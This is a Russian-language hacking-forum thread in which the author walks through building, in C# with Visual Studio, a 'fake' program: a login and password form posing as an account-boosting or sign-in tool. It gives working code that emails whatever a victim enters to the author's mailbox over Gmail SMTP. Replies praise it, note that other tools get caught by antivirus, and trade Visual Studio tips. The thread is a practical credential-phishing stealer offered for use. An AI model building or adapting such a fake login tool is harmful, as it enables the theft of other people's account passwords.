Загрузка...

[C#] Simple fake program

Thread in C# created by SEMPAI Jul 7, 2017. 5160 views

  1. SEMPAI
    SEMPAI Topic starter Jul 7, 2017 /sempai/ 257 Nov 25, 2016
    Нам нужна Visual Studio, желательно последней версии. Качай тут(официал сайт): СКАЧАТЬ. У меня бесплатная версия и рекомендую не тратиться на Professional версии и тому подобные. Скачали? Установили?
    При установке не забываем поставить галочку "Разработка классических приложений .NET"

    [IMG]
    Всё, открываем Visual Studio. Выбираем темную тему или синюю, светлая - вырвиглазная.
    [IMG]
    Создаем новый проект(Файл > Создать > Проект)
    [IMG]
    Делаем все как у меня (Кроме названия проекта, расширения и расположения)
    [IMG]
    Нажимаем "ОК". Ждем. И тут появляется самое интересное - проект и программирование.
    Ну для начала я задам примерный формы проекта и заставлю его ни расширяться, ни сужаться.
    Покуда мы не добавили никаких элементов, нам показаны свойства ТОЛЬКО проекта. Меняем параметр FormBorderStile на FixedToolWindow

    [IMG]
    И сменим название нашей формы.
    [IMG]
    - Ну вот я сделал. Как объекты добавлять?
    Все очень просто. Слева на стенке прикреплена "Панель элементов". Жмем по ней, ждем покуда все загрузится и появятся выпадающие списки, жмем на список "Все формы Windows Form", и там уже все понятно даже по иконке.

    [IMG]
    Я когда начинал работать в Visual Studio, баловался со всеми элементами, даже не представляя что они могут делать, а потом гуглил по ним инфу, помогает кстати.
    И так. Для фейка нам нужны 5 компонентов - две текстовые формы(TextBox(куда вводить логин и пароль)), две надписи (Label(Собственно объяснение к какой строчке логин, к какой пароль)) и одна кнопка ((Button(по которой будет происходить "накрутка").
    Найдите их и перетащите на нашу программу.

    [IMG]
    Расставим их по местам. Набросаем что-то подобное
    [IMG]
    Теперь в Label1 - сменим текст на "Логин:", а Label2 на "Пароль".
    Кликаем(ОДИН РАЗ) по Label1 и меняем в свойствах поле Text на "Логин:" (без кавычек) и делаем тоже самое только с Label2.

    [IMG]
    Теперь кликаем по нашим TextBox'ам (поля для ввода). И в свойствах летим в самый низ. Там "(Name)", поле для ввода логина меняем на LoginBox (регистр букв(большая, маленькая) учитывается), а поле для ввода пароль на PassBox.
    [IMG]
    Теперь кликаем на кнопку, в свойствах Text пишем "Накрутить" или "Войти", смотря что вы хотите сделать.
    [IMG]
    Ура! Все получилось! С радостями на лице вы можете приступать к самому грустному - написание кода.
    Есть много обучающих видео по этому поводу, уроков, форумов, ссылок, просто не забывайте добавлять к интересующему вопросу "C#"
    Жмем теперь два раза по кнопке чтобы присвоить ей значение клика (когда будет клик будет выполняться то, что находится в { })
    Тут мы объявляем две переменные string (в эти переменные можно вписывать текст, можете погуглить) и называем ее login и присваиваем ей значение( "=" - присвоить значение, "==" проверить значение, опять же гуглите) "LoginBox.Text", а вторую переменную называем pass и присваиваем ей LoginBox.Text
    !!!!НЕЗАБЫВАЕМ НА КОНЦЕ СТРОЧЕК ПИСАТЬ ";"!!!!

    [IMG]
    Теперь напишем длинный код, но для начала зарегистрируем почту GMAIL, так как с ней самое меньше траблов. Зарегистрировался? Красавчик.
    Вот скрин и код

    [IMG]
    Code
               [/COLOR][/SIZE][/CENTER]
    [SIZE=14px][COLOR=rgb(235, 235, 235)]
    [CENTER]
    string pass = PassBox.Text;
    // отправитель - устанавливаем адрес и отображаемое в письме имя
    MailAddress from = new MailAddress("somemail@gmail.com", "Tom");
    /* Куда идет сообщение "yandex.ru" можно поменять на любой домен, если у вас почта [USER=20606]@Mail.ru[/USER] , а не Yandex.ru,
    меняйте на ВашуПочту@mail.ru .*/
    MailAddress to = new MailAddress("ВашаВтораяПочта@yandex.ru");
    // Создаем письмо
    MailMessage m = new MailMessage(from, to);
    // ЗАГОЛОВОК
    m.Subject = "Взломщик";
    // текст письма
    m.Body = "<h2>"+login+":"+pass+"</h2>";
    // письмо представляет код html (погуглите и поймете что, да как)
    m.IsBodyHtml = true;
    // адрес smtp-сервера и порт, с которого будем отправлять письмо
    SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587);
    // логин и пароль почты С КОТОРОЙ ИДЕТ СООБШЕНИЕ (GMAIL)
    smtp.Credentials = new NetworkCredential("YouEmail@gmail.com", "YouPass");
    // Сложно объяснить, погуглите.
    smtp.EnableSsl = true;
    // Отправка
    smtp.Send(m);





    Если у вас как на скрине выделены красным некоторые объекты, значит нужно подключить библиотеку System.Net и System.Net.Mail. Листаем в самый вверх кода и вписываем.

    [IMG]
    Теперь сохраняем все файлы CTRL+SHIFT+S

    И на верхней панели нажимаем "Пуск" и ждем
    [IMG]
    Теперь проверяем работоспособность. Вводим что-то в два поля. Нажимаем кнопку и чутка ждем, потом идем смотреть почту и вот сообщение пришло, ты молодец.

    [IMG]
    Попытался оформить тему от души. Надеюсь вам понравилось

    #моястатья
     
  2. TonuMC
    TonuMC Jul 7, 2017 Banned 560 Jan 3, 2017
    Годно, но траблы с VS((
     
  3. SEMPAI
    SEMPAI Topic starter Jul 7, 2017 /sempai/ 257 Nov 25, 2016
    С ним всегда траблы(
     
  4. Donald_inactive24663
    Donald_inactive24663 Jul 7, 2017 Banned 217 Nov 22, 2014
    Systeam.Net.Mail
     
  5. t_x_t
    t_x_t Jul 7, 2017 Banned 1 Jun 27, 2017
    Лучше не париться и для фейк программы скачать PHP Devel Studio .
    там за 3 минуты можно программу написать.
     
  6. SEMPAI
    SEMPAI Topic starter Jul 7, 2017 /sempai/ 257 Nov 25, 2016
    И палится антивирусами. Найс
     
  7. SEMPAI
    SEMPAI Topic starter Jul 7, 2017 /sempai/ 257 Nov 25, 2016
  8. kamyn9ka228
    kamyn9ka228 Jul 7, 2017 Banned 221 Mar 4, 2017
    КТОТО СЛИЗАЛ С ДРУГОГО ФОРУМА)) ) ЧИсто слово в слово....
     
  9. SEMPAI
    SEMPAI Topic starter Jul 7, 2017 /sempai/ 257 Nov 25, 2016
    Ник на форумах посмотри
     
  10. kamyn9ka228
    kamyn9ka228 Jul 7, 2017 Banned 221 Mar 4, 2017
    Ойойой) ) Мои извинения) Я ник не посмотрел :D
     
  11. Ксюшка
    Ксюшка Jul 8, 2017 Хуба-Буба 1690 Apr 25, 2017
    Годно в своё время искал не мог найти)
     
  12. SEMPAI
    SEMPAI Topic starter Jul 8, 2017 /sempai/ 257 Nov 25, 2016
    Кстати, добавил #моя статься , мала ли )0))
     
  13. SijyKijy
    SijyKijy Jul 8, 2017 Сгнил 34 Mar 10, 2017
    Годно, возьму себе на заметку как отправлять на почту.
     
  14. divinity
    divinity Jul 15, 2017 สสสส 169 Feb 23, 2017
    ERROR спит,пиши ему для получения авторской,может еще и денег получишь.А может он пошлет тебя куда подальше)
     
  15. renameduser_65876
    renameduser_65876 Jul 15, 2017 Banned 300 Dec 12, 2016
    SEMPAI лучше качать 2015 года ибо консоли нету на новой версии
     
  16. SEMPAI
    SEMPAI Topic starter Jul 15, 2017 /sempai/ 257 Nov 25, 2016
    Есть, я выводил сообщение в консоль. Console.Write, насколько помню
     
  17. renameduser_65876
    renameduser_65876 Jul 15, 2017 Banned 300 Dec 12, 2016
    Console.WriteLine("текст")
     
  18. SEMPAI
    SEMPAI Topic starter Jul 15, 2017 /sempai/ 257 Nov 25, 2016
    Так консоль есть, чего ты наговариваешь
     
  19. renameduser_65876
    renameduser_65876 Jul 15, 2017 Banned 300 Dec 12, 2016
    когда создаешь консольное приложение не появляется такая шняга.
    [IMG]
     
  20. renameduser_65876
    renameduser_65876 Jul 15, 2017 Banned 300 Dec 12, 2016
    я ток 2 дня назад скачивал с оффициала,пришлось 2015 скачивать
     
Top
Loading...